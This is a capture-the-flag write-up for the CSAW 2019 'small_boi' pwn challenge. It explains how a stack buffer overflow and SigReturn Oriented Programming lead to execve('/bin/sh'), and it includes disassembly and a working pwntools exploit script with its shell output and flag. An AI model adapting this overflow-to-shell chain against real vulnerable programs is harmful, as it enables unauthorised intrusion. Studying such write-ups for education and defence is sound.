Very tiny binary. I used SigReturn Oriented Programming (SROP) to exploit it.
Challenge
- Category: pwn
- Points: 100
- Solves: ~150
you were a baby boi earlier, can you be a small boi now?
nc pwn.chal.csaw.io 1002
Solution
We get given a very tiny binary with only three functions. We have start
which calls sub_40018C
:
public start
start proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0
call sub_40018C
xor rax, rdi
mov rax, 3Ch ; '<'
syscall ; LINUX - sys_exit
nop
pop rbp
retn
; } // starts at 4001AD
start endp
We have sub_40018C
which simply does a read
syscall and reads 0x200 bytes of input into a stack buffer (giving us a buffer overflow):
sub_40018C proc near
buf= byte ptr -20h
; __unwind {
push rbp
mov rbp, rsp
lea rax, [rbp+buf]
mov rsi, rax ; buf
xor rax, rax
xor rdi, rdi ; fd
mov rdx, 200h ; count
syscall ; LINUX - sys_read
mov eax, 0
pop rbp
retn
; } // starts at 40018C
sub_40018C endp
And finally we have sub_40017C
which has a rt_sigreturn
syscall, hinting at the fact that we will need to do SigReturn Oriented Programming (SROP):
sub_40017C proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0Fh
syscall ; LINUX - sys_rt_sigreturn
nop
pop rbp
retn
; } // starts at 40017C
sub_40017C endp
The way the rt_sigreturn
syscall works is by context-switching into a completely new stack frame which is decided by a sigcontext
structure. In the case of SROP, we forge a sigcontext
structure on the stack and make the rt_sigreturn
syscall use this forged structure to perform any syscall we want.
At the end of the day we want to perform an execve
syscall with /bin/sh
as its argument. The binary also conveniently has the string '/bin/sh'
at address 0x4001ca
. With pwntools, this exploit is very easy.
Using gdb, first find the offset for the buffer overflow (in this case, 40 characters). Then you want to jump to the rt_sigreturn
syscall, which is essentially just mov rax, 0xf
followed by syscall
. Then you put a fake sigcontext
structure onto the stack (pwntools calls this a SigreturnFrame
), where you set rax
to 59 (for execve
), rdi
to the address of the /bin/sh
string, rsi
and rdx
both to 0, and rip
to the syscall
instruction.
the rt_sigreturn
syscall will context switch using these values from the fake sigcontext
structure, thus calling execve
with /bin/sh
and giving us a shell.
#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'new-window']
p = remote('pwn.chal.csaw.io', 1002)
bin_sh = 0x4001ca
sigreturn = 0x400180
syscall = 0x400185
payload = 'A'*40
payload += p64(sigreturn)
frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += str(frame)
p.send(payload)
p.interactive()
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/csaw-2019-quals/pwn/small_boi$ ./exploit.py
[+] Opening connection to pwn.chal.csaw.io on port 1002: Done
[*] Switching to interactive mode
$
$ ls
flag.txt small_boi
$ cat flag.txt
flag{sigrop_pop_pop_pop}
$
Flag: flag{sigrop_pop_pop_pop}